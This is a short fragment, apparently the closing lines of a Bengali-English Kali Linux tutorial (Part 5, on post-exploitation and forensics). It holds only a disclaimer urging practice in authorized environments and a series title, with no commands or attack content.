সব কিছু authorized environment-এ practice করো। Permission ছাড়া কোনো system-এ attack করা সম্পূর্ণ illegal।

Kali Linux Series — Part 5 | v1.0 | Post-Exploitation & Forensics